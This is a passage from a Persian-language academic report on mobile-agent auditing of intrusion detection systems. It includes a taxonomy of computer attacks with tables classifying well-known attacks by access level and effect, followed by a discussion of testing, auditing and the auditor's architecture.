آورند و رفتار برنامه را با اين  شوند، به حافظه خود مي ها را که در حالت امن فراخوانده مي system callاي از  مجموعه

ه صورت ب در غير اين. شود  حد آستانه باشد اين عمل پذيرفته مياگر اختلاف کمتر از. کنند مجموعه مقايسه مي

. کند هر عامل متحرک براي مدت کوتاهي فعاليت مي. شود عنوان يک عمل خلاف شناخته شده و هشداري توليد مي

  .  را ذخيره کرده و از بانک اطلاعاتي بخواندsystem callصورت پريوديک بايد ه علت اينکه به ب

ها  دامنهرود و از طريق بازرسي بانک اطلاعاتي در آن  هاي ديگر مي دامنه هر عامل بطور مداوم به علاوه بر اين

 اين مکانيزم مشاهده ۹-۴در شکل . کند هاي ديگر بررسي مي دامنهاي را که مسئول آن است در  اجراي امن برنامه

  .شود مي

  
        anomaly detection مرحله  مرحله  مرحله  مرحله ----۹۹۹۹----۴۴۴۴شکل شکل شکل شکل 

  سازي دهپيا -۴-۵-۲

 MANSMA١نام ه در اين سيستم به منظور فراهم کردن بستري براي عمل عاملهاي متحرک از ساختاري ب

  .باشد   ميJavaاستفاده شده است که مبتني بر زبان 

  

                                                        
1 Multi Agent system based Network Security Management Architecture 
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  حملات كامپيوتري -۵
نوان هاي كامپيوتري است، لازم است بخشي به ع با توجه به آنكه بحث و موضوع پروژه در رابطه با امنيت سيستم

  .[18]كنند تخصيص داده شود ايمني را دچار مشكل مي  بندي حملاتي كه اين معرفي و دسته

بندي حملات معرفي شود تا بر  بندي بايد قبل از انجام هر كاري معيارهاي مشخصي براي دسته در رابطه با عمل دسته

بندي خوب بايد به  يك دسته. ابه قرار دادهاي مش اساس آن بتوان حملاتي را كه داراي مشخصات يكساني هستند در دسته

  :اي باشد كه گونه

 .هر حمله تنها در يك دسته قرار گيرد •

 .بندي داشته باشند تمام حملات جايگاهي در دسته •

 .بندي قابليت گسترش براي آينده را داشته باشد دسته •

بندي هر حمله به يكي از  در اين دسته. شودكه مشخصات فوق را بپوشاند اي پرداخته مي بندي در ادامه به معرفي دسته

  :شود بندي مي هاي زير دسته صورت

 .كاربر در سطحي كه واقع است با استفاده از امكانات آن سطح سعي در حمله داشته باشد •

 .تر به اولويت سطح بالاتر دست پيدا كند يك كاربر بخواهد از اولويت سطح پايين •

 .هاي سطح بالاتر را انجام دهد ما بتواند فعاليتكاربر در سطح خود باقي بماند ا •

  معرفي سطوح -۵-۱
اين سطوح را . بندي موردنظر سطوح مختلفي از لحاظ توانايي انجام كارهاي مختلف درنظر گرفته شده است در دسته

 . مشاهده كرد۱-۵توان در جدول  مي

        ۱۱۱۱----۵۵۵۵جدول جدول جدول جدول 

 توضيحتوضيحتوضيحتوضيح سطحسطحسطحسطح

R (Remote network access) ورد دسترسي به شبكه راه  

L (Local network access) دسترسي به شبكه محلي 

U (User access) دسترسي سطح كاربر 

S (root/Super user access) دسترسي سطح مدير 

P (Physical access to host) دسترسي فيزيكي به سيستم 

 
 Rسطح سطح سطح سطح  •

در اين . تم دسترسي دارنداي به يك سيس اين سطح اشاره به كاربراني دارد كه از طريق يك ارتباط شبكه

 .تواند داشته باشد اي است كه يك كاربر مي دسترسي حداقل دسترسي

 
  



  ٨٣

 Lسطح سطح سطح سطح  •

 .اي كه كامپيوتر مقصد در آن است را دارد در اين سطح كاربر توانايي نوشتن و خواندن از شبكه

 Uسطح سطح سطح سطح  •

  . كاربر توانايي اجراي دستورات عادي بر روي سيستم را داردUدر سطح 

 Sسطح سطح سطح سطح  •

  .كند كه توانايي كامل در كنترل سيستم را دارند  به كاربراني اشاره ميSطح س

 Pسطح سطح سطح سطح  •

  . كاربراني هستند به سيستم از لحاظ فيزيكي دسترسي دارندPسطح 

توان تمام حالات ممكن  هاي عنوان شده حالات خاصي از نوع دسترسي است اما با استفاده از آنها مي بندي دسته

  .حمله را پوشاند

  هاي مختلف انجام حمله روش -۵-۲
شخص حمله كننده براي انجام اعمال مورد نظر خود بايد با استفاده از مشكلات امنيتي موجود در كامپيوتر مقصد به 

 ۲-۵توان معرفي كرد كه در جدول  پنج روش كلي براي انجام اين كار مي. آن نفوذ كنند و آن را مورد حمله قرار دهند

  .شود مشاهده مي

        ۲۲۲۲----۵۵۵۵جدول جدول جدول جدول 

 توضيحتوضيحتوضيحتوضيح وشوشوشوشرررر

m (masquarading) استفاده از تغيير چهره دادن  

a (Abuse of feature) استفاده نامناسب از امكانات 

b (Implementation bug) استفاده از مشكلات سيستم 

c (System misConfiguration) استفاده از پيكربندي نامناسب سيستم 

s (Social enginerring) استفاده از متخصصين 

  

 mروش روش روش روش  •

مثال اين . توان يك سيستم را فريب داد و خود را جاي يك شخص با مجوز كافي معرفي كرد در اين دسته مي

 غيرمجاز با TCPروش بدست آوردن كلمه عبور كاربر مجاز و استفاده از آن است و يا آنكه يك ارتباط 

  .ايجاد شود آدرس مبداء معتبر

 aروش روش روش روش  •

در . تواند از آنها به صورت مفيد استفاده كند  اختيار كاربر وجود دارد كه مياي موارد امكاناتي در در پاره

باز . تواند سيستم را با مشكل مواجه كند صورتيكه كاربر از اين امكانات به صورت ناصحيح استفاده كند مي

  .باشد اي از اين روش مي  نمونهtelnetكردن تعداد زيادي ترمينال 



  ٨٤

 bروش روش روش روش  •

تواند از آن نقطه ضعف  نويسي وجود داشته باشد، شخص حمله كننده مي اي مشكل برنامه هدر صورتيكه در برنام

  .اي از اين دسته از حملات است  نمونهbuffer overflowحمله . استفاده كند و سيستم را مورد حمله قرار دهد

 cروش روش روش روش  •

واند از آن براي مورد ت در صورتي كه يك سيستم به صورت صحيح پيكربندي نشده باشد شخص حمله كننده مي

 .حمله قرار دادن سيستم استفاده كند

 sروش روش روش روش  •

در اين روش شخص حمله كننده با مجبور كردن كاربري كه مجوز كافي دارد سعي در رسيدن به اهداف خود 

  .دارد

 .هاي فوق براي رسيدن به هدفش استفاده كند شود ممكن است از يك يا تعدادي از روش اي كه انجام مي هر حمله

تواند با  كننده مي  سيستم مشكلي وجود داشته باشد، شخص حملهprotocol stackبراي مثال در صورتيكه در ساختار 

  .هاي خراب به آن، سيستم را دچار مشكل كند فرستادن بسته

 بخش اول اين جمله. شود اي با سه بخش استفاده مي براي نشان دادن تغيير سطح دسترسي بين سطوح مختلف از جمله

بخش دوم اين جمله روش مورد استفاده براي تغيير . دهد و بخش سوم، سطح مورد نظر است سطح اوليه حمله را نشان مي

اي است كه يك كاربر عادي سيستم با رسيدن به  سيستم حمله براي مثال حمله فرمت كردن فايل. دهد سطح را نشان مي

تواند مورد استفاده قرار دهد براي مثال مشكل پيكربندي سيستم  روشي كه اين كار مي. تواند انجام دهد سطح مدير مي

  . نشان دادU-c-Sتوان آن را به صورت  پس مي. خواهد بود

  اعمال خطا -۵-۳
براي نشان دادن اين . كننده بعد از تعيين روش كار خود بايد عمل مورد نظر خود را انجام دهد يك شخص حمله

كننده قصد دارد تا   به معني اين است كه فرد حملهprobe(user)براي مثال . ردتوان از يك جمله استفاده ك اعمال نيز مي

 ۳-۵تواند انجام دهد در جدول  كننده مي اعمال خطايي كه شخص حمله. آوري كند به كاربران سيستم جمع اطلاعاتي راجع

 .نشان داده شده است

 
 
 
 
 
 
 
 
 
 
 

 



  ٨٥

        ۳۳۳۳----۵۵۵۵جدول جدول جدول جدول 

 توضيحتوضيحتوضيحتوضيح عملعملعملعمل دستهدستهدستهدسته

Probe(Machines) هاي داخل شبكه تعيين تعداد و نوع ماشين 

Probe(Services) 
هايي كه توسط يك سيستم پشتيباني  تعيين سرويس

 .شود مي
Probe 

Probe(Users) كنند تعيين اطلاعات كاربراني كه با يك سيستم كار مي. 

Deny(Temporary) از كاراندازي سرويس به صورت موقت 

Deny(Administrative) اندازي امكانات مورد نياز مديراز كار Deny 

Deny(Permanent) از كاراندازي سرويس به صورت دائم 

Intercept(Files) سيستم جلوگيري از دسترسي به اطلاعات فايل 

Intercept(Network) جلوگيري از دسترسي به اطلاعات شبكه Intercept 

Intercept(Keystrokes) ط كاربرجلوگيري از اطلاعات ارسالي توس  

Alter(Data) تغيير اطلاعات ذخيره شده 
Alter 

Alter(Intrusion-Traces) هاي نفوذ حذف نشانه 

Use(Recreational) استفاده از سيستم به منظور سرگرمي 
Use 

Use(Intrusion-Related) ها استفاده از سيستم براي حمله به ساير سيستم 

  

 Probeعمل عمل عمل عمل  •

Probeاين . آوري كند كند تا اطلاعاتي را جمع كننده سعي مي تي كه در آن شخص حمله عبارت است از حملا

هاي ارائه  ، اطلاعات سرويس)Probe(Machines)(هاي يك شبكه باشد  تواند شامل اطلاعات سيستم اطلاعات مي

  ).Probe(Users)(يا اطلاعاتي در مورد كاربران باشد ) Probe(Services)(شده بر روي يك سيستم باشد 

 Denyعمل عمل عمل عمل  •

كننده سعي در از كاراندازي   حملاتي است كه در آن شخص حملهDoSحملات از كاراندازي سرويس يا 

اين دسته خود . گيرند  قرار ميDenyاين نوع حملات در دسته . كند مي هاي ارائه شده توسط سيستمي  سرويس

، از كار اندازي امكانات مديريت )Deny(Temporary)(ها  از كاراندازي موقت سرويس: شامل سه نوع است

  ).Deny(Permanent)(و از كاراندازي كامل سرويس ) Deny(Administrative)(سيستم 

 Interceptعمل عمل عمل عمل  •

اين دسته با عنوان . هاي سيستم است توان انجام داد قطع ارتباط با داده اي ديگر از اعمالي كه در حمله مي دسته

Interceptجلوگيري از : توان از دسترسي به اطلاعات جلوگيري كرد ر به سه روش ميدر اين كا. شود  معرفي مي

، جلوگيري از دسترسي به اطلاعات شبكه )Intercept(File)(سيستم  دسترسي به اطلاعات فايل

)Intercept(Network) ( و يا جلوگيري از دسترسي به اطلاعات ارسالي از كاربر)Intercept(Keystrokes).(  



  ٨٦

 Alterعمل عمل عمل عمل  •

توان انجام داد  كارهايي كه در اين دسته مي. شود ها مي ايجاد تغيير و يا خرابي در داده  دسته از اعمال باعث اين

دارد   كه كلمات عبور را در خود نگه ميpasswdهاي سيستم مثل فايل  تغيير داده: دو دسته هستند

)Alter(Data) (هاي  و يا تغيير در فايلlog نفوذهاي صورت گرفته در سيستم  و اطلاعات ذخيره شده از

)Alter(Intrusion-Traces).(  

 Useعمل عمل عمل عمل  •

شود،  يك كار كه در اين روش استفاده مي. توان انجام داد استفاده از سيستم است دسته آخر از اعمالي كه مي

 واسطه و يا اينكه از سيستم استفاده شود كه به) Use(Recreational)(است  استفاده از سيستم به منظور سرگرمي

 ).Use(Intrusion-Related)(هاي شبكه حمله كرد  آن بتوان به ساير سيستم

  بندي شرح داده شده استفاده از دسته -۵-۴
  .دهد بندي شرح داده شده را نشان مي  در يك نگاه كلي به دسته۱-۵شكل 

  
        بندي حملات كامپيوتريبندي حملات كامپيوتريبندي حملات كامپيوتريبندي حملات كامپيوتري     نگاه كلي به روش دسته نگاه كلي به روش دسته نگاه كلي به روش دسته نگاه كلي به روش دسته----۱۱۱۱----۵۵۵۵شكل شكل شكل شكل 

كننده  در قدم اول شخص حمله. توان در سه قدم انجام شود  يك حمله را مي مشخص است۱-۵همانطور كه در شكل 

 در s و يا m ،a ،b ،cهاي  سپس اين شخص با استفاده از يكي از روش.  قرار داردP و يا R ،L ،U ،Sدر يكي از مراحل 

كند كه  قدم سوم سعي ميكننده در  با تعيين روش شخص حمله. كند كه سيستم را مورد حمله قرار دهد قدم دوم سعي مي

، Probe ،Deny ،Intercept برساند و يا آنكه يكي از اعمال S و يا R ،L ،Uتغيير سطح دهد و خود را به يكي از مراحل 

Alter و يا Useرا انجام دهد .  

  

  



  ٨٧

  بندي حملات معرفي و دسته -۵-۵
  .بندي شوند وتري معرفي و دستهبندي شرح داده شده حملات كامپي در اين بخش سعي شده است تا با توجه به دسته

 .اند  حملات از كاراندازي سرويس نشان داده شده۴-۵ل .در جد

        ۴۴۴۴----۵۵۵۵جدول جدول جدول جدول 

 حملات از كاراندازي سرويسحملات از كاراندازي سرويسحملات از كاراندازي سرويسحملات از كاراندازي سرويس

 اثراثراثراثر بنديبنديبنديبندي    دستهدستهدستهدسته سرويسسرويسسرويسسرويس نامنامنامنام

Apache2 Http R-a-Deny(Temporary/Administrative)  از كاراندازي سرويسHttp 

Back Http R-a-Deny(Temporary)  سرعت پاسخ كم كردنHttp 

Land N/A R-a-Deny(Administrative) متوقف كردن عمل سيستم  

Mailbomb Smtp R-a-Deny(Administrative) 
ايجاد مشكل در سرويس پست 

 الكترونيكي

SYN flood Tcp R-a-Deny(Temporary) 

ها بر روي  از كاراندازي سرويس

ها به صورت  تعدادي از پورت

 موقت

Ping of 
Death Icmp R-a-Deny(Temporary)  بالا بردن ميزان استفاده ازCPU 

Process 
Table Tcp R-a-Deny(Temporary) ايجاد فرايند جديد جلوگيري از  

Smurf Icmp R-a-Deny(Temporary) كاهش سرعت كار شبكه 

Syslog Syslog R-a-Deny(Administrative)  از بين بردن سيستمlogگيري   

Teardrop N/A R-a-Deny(Temporary) 
 restartاز كاراندازي ماشين و 

  كردن آن

Udpstorm Echo/char
gen R-a-Deny(Administrative) كاهش سرعت كار شبكه 

  

 حملاتي را نشان داده است كه در آنها كاربر سعي در رسيدن به سطح مدير و يا استفاده از امكانات ۵-۵در جدول 

 .مدير را دارد

 
 
 
 
 
 
 
 
  



  ٨٨

        ۵۵۵۵----۵۵۵۵جدول جدول جدول جدول 

 حملات دسترسي به سطح مدير و يا استفاده از امكانات آنحملات دسترسي به سطح مدير و يا استفاده از امكانات آنحملات دسترسي به سطح مدير و يا استفاده از امكانات آنحملات دسترسي به سطح مدير و يا استفاده از امكانات آن

 اثراثراثراثر بنديبنديبنديبندي    دستهدستهدستهدسته سرويسسرويسسرويسسرويس نامنامنامنام

Eject Any User session U-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Ffbconfig Any User session U-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Fdformat Any User session U-b-S ه دسترسي بshellبا سطح دسترسي مدير   
Loadmodul
e Any User session U-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Perl Any User session U-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Ps Any User session U-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Xterm Any User session U-b-S رسي به دستshellبا سطح دسترسي مدير   
 

هايي را به يك سيستم  تواند بسته دور كه تنها مي دهد كه كاربر راه اي از حملات را نشان مي  دسته۶-۵در جدول 

  .خواهد كه به آن سيستم دسترسي پيدا كند بفرستد مي

        ۶۶۶۶----۵۵۵۵جدول جدول جدول جدول 

 دور شبكه به يك سيستمدور شبكه به يك سيستمدور شبكه به يك سيستمدور شبكه به يك سيستم    حملات دسترسي كاربر راهحملات دسترسي كاربر راهحملات دسترسي كاربر راهحملات دسترسي كاربر راه

 اثراثراثراثر ديديديديبنبنبنبن    دستهدستهدستهدسته سرويسسرويسسرويسسرويس نامنامنامنام

Dictionary telnet, rlogin, pop, imap, 
ftp R-a-U  دسترسي به سطح كاربر)U(  

Ftp-write ftp R-c-U  دسترسي به سطح كاربر)U(  

Guest telnet, rlogin R-c-U  دسترسي به سطح كاربر)U(  

Imap imap R-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Named dns R-b-S  دسترسي بهshellبا سطح دسترسي مدير   

Phf http R-b-U  اجراي دستورات به عنوان كاربرhttp  

Sendmail smtp R-b-S اجراي دستورات به عنوان مدير  

Xlock X 
R-cs-

Intercept(Ketstroke
s) 

Spoof كردن كاربر براي بدست آوردن كلمه 

  عبور

Xsnoop X 
R-c-

Intercept(Ketstroke
s) 

  ات منتقل شدهبازبني كردن اطلاع

 
 
 
 
 
  



  ٨٩

 .آوري اطلاعات را دارد كننده قصد جمع دهد كه در آنها خص حمله  حملاتي را نشان مي۷-۵جدول 

        ۷۷۷۷----۵۵۵۵جدول جدول جدول جدول 

 حملات جستجوحملات جستجوحملات جستجوحملات جستجو

 اثراثراثراثر بنديبنديبنديبندي    دستهدستهدستهدسته سرويسسرويسسرويسسرويس نامنامنامنام

Ipsweep Icmp R-a-Probe(Machines) هاي فعال در شبكه پيدا كردن ماشين  

Mscan many R-a-Probe(Known 
Vulnerabilities) 

  جستجو براي پيدا كردن نقاط ضعف سيستم

Nmap many R-a-Probe(Services) هاي باز بر روي سيستم پيدا كردن پورت  

Saint many R-a-Probe(Known 
Vulnerabilities) 

  جستجو براي پيدا كردن نقاط ضعف سيستم

Satan many R-a-Probe(Known 
Vulnerabilities) 

  ن نقاط ضعف سيستمجستجو براي پيدا كرد

 
 
 
 
 
 
 
 
 
 
 
 
 
 



  ٩٠

  شرح پروژه -۶
در ابتدا تعريف دقيقي . شود در اين بخش به معرفي پروژه انجام شده و همچنين آزمايشات صورت گرفته پرداخته مي

سپس در ادامه با تعريف دو مفهوم بازرسي و تست به . شود ايده آورده مي  شود و دلايل مطرح شدن اين از كار ارائه مي

  . شود ها آورده مي در آخر نتيجه كار و گزارش اين آزمايش. شود  آزمايشات انجام شده پرداخته ميشرح

  مقدمه -۶-۱
هاي  هاي متحرك به منظور بررسي صحت عملكرد سيستم استفاده از عامل"تعريف پروژه عبارت است از 

. باشد هاي كامپيوتري مي ذ در شبكهنفو هاي تشخيص هدف از انجام اين پروژه بررسي صحت عملكرد سيستم". نفوذ تشخيص

  . دهند نفوذ را انجام مي هاي تشخيص مسئول انجام اين كار يك يا چند بازرس هستند كه عمل بررسي سيستم

شود كه وظيفه  ها استفاده مي ها و شبكه سازي سيستم ايمن  هاي كامپيوتري از ابزارها و تجهيزات مختلفي براي در شبكه

  هاي مختلفي سعي در تجهيزات مختلف به روش. باشد  بالا بردن ميزان اطمينان و امنيت شبكه ميهر يك از آنها هر چه

اين . نفوذ  هستند هاي تشخيص كند سيستم را بازي مي سازي نقش مهمي  ايمن يكي از تجهيزاتي كه در. ايجاد امنيت دارند

هاي كامپيوتري را بر عهده دارند و هر گونه  ها و شبكه آيد وظيفه بررسي سيستم ها همانطور كه از نام آنها بر مي سيستم

كه (هاي امنيتي شبكه  اگر هر يك از سيستم. دهند ايجاد اختلال و نفوذ داشته باشد را گزارش مي عملي را كه سعي در 

. شود مشكل ميايمني مورد نظر دچار  به نوعي از عملكرد صحيح باز بماند، ) باشد نفوذ از جمله آنها مي هاي تشخيص سيستم

. رسد ها را بر عهده داشته باشد ضروري به نظر مي از همين لحاظ وجود بازرسي كه صحت وجودي و عملكردي اين سيستم

 آيا در آنها مشكلي به وجود آمده و يا آنكه در پيكريندي آنها  ها مشخص كند كه اين بازرس بايد با بررسي سيستم

توان از دو ديدگاه مورد بررسي  نفوذ را مي انجام اين كار يك سيستم تشخيصبراي . تغييري صورت گرفته است يا خير

نفوذ به عنوان ابزاري است كه بايد انواع حملات را تشخيص دهد و ديدگاه  يك ديدگاه، نگاه به سيستم تشخيص. قرار داد

  . نفوذ به عنوان يك فرايند است كه بايد سلامت آن بررسي شود ديگر نگاه به سيستم تشخيص

براي مشخص شدن . گردد شود به دنبال آن دو مفهوم بازرسي و تست مطرح مي هنگامي كه صحبت از بازرس مي

  .روش كار يك بازرس بايد در ابتدا دو مفهوم بازرسي و تست به صورت روشن بيان شود

  تعريف بازرسي و تست -۶-۲
ت كه در ابتدا دو مفهوم تست و بازرسي براي آنكه تعريف روشني از بررسي صحت عملكرد بتوان ارائه داد لازم اس

  .مشخص شود
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  [14]تست -۶-۲-۱

منظور از تست عملكرد، كه در بعضي .  تقسيم كرد2 و تست ساختار1توان به دو دسته كلي تست عملكرد تست را مي

شود، بررسي عملكرد يك سيستم است تا مشخص شود تا چه اندازه مشخصات   نيز ناميده ميblack boxموارد تست 

توان با انجام حملاتي بر روي آن و  نفوذ اين كار را مي در يك سيستم تشخيص. شود شده براي آن را براورده ميتعريف 

گويند، هدف بررسي ساختار كد  ، هم ميwhite boxدر تست ساختار كه آن را تست . بررسي خروجي آن انجام داد

نفوذ در محدوده كار پروژه نبوده است، تست   تشخيص سازي سيستم با توجه به آنكه پياده. باشد سيستم مورد بررسي مي

  .تواند در انجام كار به ما كمك كند ساختاري براي كار ما مناسب نيست و تنها تست عملكرد است كه مي

. نفوذ در ابتدا بايد پارمترهاي مورد نظر كه اهميت بيشتري دارند تعيين شوند هاي تشخيص براي تست عملكرد سيستم

  :توان در سه دسته كلي قرار داد ها را مياين پارامتر

 تشخيص حملات انجام شدهتشخيص حملات انجام شدهتشخيص حملات انجام شدهتشخيص حملات انجام شده •

 آيا سيستم  نفوذ بايد مشخص شود، بررسي اين مطلب است كه هاي تشخيص يكي از مواردي كه در تست سيستم

 .توانايي تشخيص حملات صورت گرفته را دارد يا خير

 استفاده مناسب از منابعاستفاده مناسب از منابعاستفاده مناسب از منابعاستفاده مناسب از منابع •

نفوذ نبايد به صورتي عمل كند كه براي مثال  ني است كه يك سيستم تشخيصاستفاده مناسب از منابع به اين مع

  .ايجاد كند  و حافظه CPUتوان مصرفي بالا بر 

 عملكرد در شرايط بحرانيعملكرد در شرايط بحرانيعملكرد در شرايط بحرانيعملكرد در شرايط بحراني •

نفوذ بررسي گردد، چگونگي كار سيستم در شرايطي است كه  هاي تشخيص يكي از مواردي كه بايد در سيستم

  .ميزان بار زياد باشد

نفوذ قادر به تشخيص حملات   آيا سيستم تشخيص  از اين لحاظ بايد بررسي شود كه مشخص شود كهپارامتر اول

نفوذ از منابع سيستم  بررسي پارامتر دوم نيز داراي اهميت است به علت اينكه اگر يك سيستم تشخيص. باشد يا خير مي

پارامتر سوم نيز از دو لحاظ داراي اهميت . بگذاردهاي سيستم تاثير  تواند بر روي عملكرد ساير بخش زياد استفاده كند مي

ايجاد  تواند با  آيد و دوم اينكه يك شخص نفوذكننده مي است اول آنكه شرايط بحراني حالتي است كه زياد پيش مي

بررسي اين سه پارامتر به عنوان تست يك سيستم . نفوذ را مختل كند شرايط بحراني عملكرد يك سيستم تشخيص

  .  لازم است اما كافي نيستنفوذ تشخيص

اي كه توسط  براي مثال در شبكه. هاي مختلف ميزان اهميت هر يك از پارامترهاي فوق متفاوت خواهد بود در جايگاه

 ايجاد شده باشد بررسي پارامتر اول از اهميت كمتري  هاي آتش امنيت به طور كامل تجهيزات مختلف ديگر مانند ديواره

در مواردي كه برقرار كردن امنيت از اهميت بالايي برخوردار است و اولويت بيشتري نسبت به . برخوردار خواهد بود

و نهايتاً اينكه بررسي پارامتر سوم زماني داراي . شود ساير موارد دارد، بررسي پارامتر دوم از اهميت كمتري برخوردار مي

                                                        
1 Functional testing 
2 Structural testing 
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نفوذ است به صورت كامل كنترل شود تا  ستم تشخيصكه به عنوان ميزبان سي شود كه براي مثال سيستمي اهميت كمتر مي

  . زير بار بار سنگين قرار نگيرد

  [15]بازرسي -۶-۲-۲

 آوري كند و آنها را  بازرسي عبارت است از يك روش خودكار كه رويدادهاي رخ داده در يك سيستم را جمع

  :ند ازيك مكانيزم بازرسي داراي نيازها و مشخصاتي است كه عبارت. مورد آناليز قرار دهد

  گيري گيري گيري گيريlogهاي هاي هاي هاي     رويهرويهرويهرويه •

ها به صورت  اين رويه.  به صورت اتوماتيك باشدlogهايي براي گرفتن  يك مكانيزم بازرسي بايد داراي رويه

  .كنند هايي را كه براي آنها مشخص شده است را در يك فايل حفاظت شده ذخيره مي خودكار فعاليت

 هاي مربوطههاي مربوطههاي مربوطههاي مربوطه    ثبت فعاليتثبت فعاليتثبت فعاليتثبت فعاليت •

 .ه حملاتي منجر بشوند بايد ذخيره و حفظ شوندهايي كه ممكن است ب فعاليت

 حداقل تاثير بر روي سيستمحداقل تاثير بر روي سيستمحداقل تاثير بر روي سيستمحداقل تاثير بر روي سيستم •

 . ايجاد نكند يك سيستم بازرسي بايد به صورتي طراحي شود و عمل كند كه سربار زيادي بر روي سيستم

 هاي ذخيره شدههاي ذخيره شدههاي ذخيره شدههاي ذخيره شده    فرمت دادهفرمت دادهفرمت دادهفرمت داده •

باشد كه بتواند توسط ها و اطلاعات ذخيره شده توسط سيستم بازرسي بايد داراي فرمت استانداردي  داده

اي از خروجي يك بازرس به نام   نمونه۱-۶براي مثال در شكل . هاي مفسر مورد استفاده قرار گيرد برنامه

CMW1توان مشاهده كرد  را مي:  

  
        اي از خروجي يك بازرساي از خروجي يك بازرساي از خروجي يك بازرساي از خروجي يك بازرس     نمونه نمونه نمونه نمونه----۱۱۱۱----۶۶۶۶شكل شكل شكل شكل 

 
 حفاظت از اطلاعاتحفاظت از اطلاعاتحفاظت از اطلاعاتحفاظت از اطلاعات •

  . سيستم بازرس بايد از حفاظت كافي برخوردار باشدبا توجه به اهميت اطلاعات ذخيره شده توسط

  . مدلي از ساختار يك سيستم بازرس نشان داده شده است۲-۶در شكل 

                                                        
 Mitre در شركت Compartment Mode Workstationاز پروژه بخشي  1
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         معماري كلي يك سيستم بازرس معماري كلي يك سيستم بازرس معماري كلي يك سيستم بازرس معماري كلي يك سيستم بازرس----۲۲۲۲----۶۶۶۶شكل شكل شكل شكل 

  :اين سه قدم به ترتيب عبارتند از. يك سيستم بازرسي براي انجام كار خود سه قدم را بايد بردارد

 ن موارد قابل توجه براي بازرسين موارد قابل توجه براي بازرسين موارد قابل توجه براي بازرسين موارد قابل توجه براي بازرسيتعييتعييتعييتعيي ....۱۱۱۱

 .سازي يك سيستم بازرس تعيين مواردي است كه بايد مورد بازرسي قرار گيرند اولين قدم در طراحي و پياده

 هاي بازرسهاي بازرسهاي بازرسهاي بازرس    فراخواندن رويهفراخواندن رويهفراخواندن رويهفراخواندن رويه ....۲۲۲۲

هاي صورت گرفته  هاي بازرس فراخوانده شوند تا فعاليت در دومين قدم بعد از تعيين موارد قابل توجه بايد رويه

 .رابطه با آن موارد ذخيره شونددر 

 ساختن فايل حفاظت شده اطلاعاتساختن فايل حفاظت شده اطلاعاتساختن فايل حفاظت شده اطلاعاتساختن فايل حفاظت شده اطلاعات ....۳۳۳۳

  .آوري شده در قدم دوم در اين مرحله بايد به صورت امن ذخيره شوند اطلاعات جمع

همانطور كه . توان اعمال هر يك از اين دو مورد در انجام پروژه را شرح داد با توجه به تعريف تست و بازرسي مي

هر اتفاقي كه باعث شود، سيستم از يك حالت به حالت ديگر (آوري رويدادهاي سيستم  جمعگفته شد بازرسي يعني 

با توجه به اين مطلب، قبل از انجام هر كاري بايد حالات سيستم را تعريف كرد كه با توجه به آن . و آناليز آنها) برود

هاي سيستم  ت يك سيستم را ترتيب فراخوانما براي انجام كار خود، حالا. آوري كرد بتوان رويدادها را تعريف و جمع

آوري رويدادهاي مورد  با توجه به اين مطلب براي جمع. شود تعريف كرديم نفوذ انجام مي كه در داخل سيستم تشخيص

نفوذ قرار گرفته باشد تا بتواند هر گونه تغييري در ترتيب  نظر لازم است كه كد بازرس در داخل كد سيستم تشخيص

سازي بازرسي است كه مستقل از نوع سيستم  با توجه به اينكه هدف پروژه، پياده .سيستم را ثبت و آناليز كندهاي  فراخوان

به همين جهت بازرس . باشد نفوذ كار كند، پس استفاده از تعريف بازرسي كه آورده شد در كار ممكن نمي تشخيص

سيستم را انجام دهد، به اين معني كه با در نظر نفوذ بايد كار تست عملكرد  طراحي شده براي بررسي سيستم تشخيص

توان از دو  اين عمل را مي.  ، عملكرد آن را مورد بررسي قرار دهدblack boxنفوذ به عنوان يك  گرفتن سيستم تشخيص

توان سيستم را مورد حملاتي قرار داد و سپس خروجي آن را بررسي كرد و در جنبه  در يك جنبه مي. جنبه انجام داد

 . نفوذ را به عنوان يك فرايند مورد بررسي قرار داد گر سيستم تشخيصدي
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  سازي معماري و پياده -۶-۳
سازي بازرس استفاده شده در اين پروژه پرداخته  با توجه به تعاريف صورت گرفته در ادامه به شرح معماري و پياده

  .شود مي

  معماري  -۶-۳-۱

هاي  هاي متحرك براي بررسي صحت عملكرد سيستم  عاملهدف از انجام اين پروژه طراحي بازرس با استفاده از

بازرس را . شود ها پرداخته مي سازي بازرس در ادامه به معرفي معماري مورد استفاده براي پياده. باشد نفوذ مي تشخيص

  :ها عبارتند از اين روش. سازي كرد هاي مختلفي پياده توان به شيوه مي

 براي بازرسيبراي بازرسيبراي بازرسيبراي بازرسي مركزيمركزيمركزيمركزيارسال اطلاعات هر سيستم به يك نقطه ارسال اطلاعات هر سيستم به يك نقطه ارسال اطلاعات هر سيستم به يك نقطه ارسال اطلاعات هر سيستم به يك نقطه  •

آوري شده توسط هر سيستم به صورت مداوم به يك نقطه پردازشگر مركزي ارسال  در اين روش اطلاعات جمع

 . يا سيستم داراي عملكرد صحيحي است يا خيره آگردد ك شوند و مشخص مي و در آنجا بررسي مي

 روي هر سيستم روي هر سيستم روي هر سيستم روي هر سيستم ه صورت محلي بر ه صورت محلي بر ه صورت محلي بر ه صورت محلي بر وجود يك بازرس بوجود يك بازرس بوجود يك بازرس بوجود يك بازرس ب •

تواند مطرح شود، قرار دادن يك بازرس بر روي هر ميزبان به  ها مي بازرسي سيستمروش ديگري كه براي 

با استفاده از اين روش مشكل ترافيك ارسالي بر روي شبكه و نقطه پردازشگر مركزي كه . صورت دائم است

  . شود در روش قبل مطرح شده بود، حل مي

 قرار دادن يك عامل متحرك به عنوان بازرسقرار دادن يك عامل متحرك به عنوان بازرسقرار دادن يك عامل متحرك به عنوان بازرسقرار دادن يك عامل متحرك به عنوان بازرس •

در اين روش بر . هاي متحرك است تواند مطرح شود استفاده از عامل ها مي راي بازرسي سيستمكه ب روش سومي

 بر روي هر ميزبان دائمخلاف حالت قبل كه بازرس بر روي هر ميزبان به صورت مداوم قرار داشت، به صورت 

  . دهند ر ميهاي مختلف را مورد بازرسي قرا كنند و سيستم قرار ندارند بلكه در سطح شبكه حركت مي

هاي انجام شده صورت گيرد تا بتوان با اطمينان انتخاب كرد كه كدام  گيري مقايسه اين سه روش بايد بر اساس اندازه

  .تواند كارآمدتر باشد از اين سه روش مي

د شون نفوذ قرار داده مي هاي تشخيص ها به اين ترتيب است كه در هر ميزبان سيستم روش كلي كار در طراحي بازرس

